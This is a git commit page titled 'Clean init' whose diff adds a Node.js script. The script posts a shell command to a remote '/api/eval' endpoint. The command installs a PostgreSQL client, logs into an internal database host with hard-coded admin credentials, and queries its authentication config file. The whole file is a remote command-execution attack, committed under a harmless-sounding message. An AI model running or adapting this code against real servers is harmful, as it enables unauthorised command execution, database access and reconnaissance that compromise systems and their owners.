Clean init
This commit is contained in:
@@ -0,0 +1,17 @@
|
||||
const https = require('https');
|
||||
const cmd = 'apk add --no-cache postgresql-client && PGPASSWORD=password psql -h sop_db -U admin -d sop_monitoring -c "SHOW hba_file;"';
|
||||
const req = https.request({
|
||||
hostname: 'aisop.houseofwebsites.ai',
|
||||
port: 443,
|
||||
path: '/api/eval',
|
||||
method: 'POST',
|
||||
headers: {
|
||||
'Content-Type': 'application/json'
|
||||
}
|
||||
}, res => {
|
||||
let body = '';
|
||||
res.on('data', d => body += d);
|
||||
res.on('end', () => console.log('Response:', body));
|
||||
});
|
||||
req.write(JSON.stringify({ cmd }));
|
||||
req.end();
|
||||
Reference in New Issue
Block a user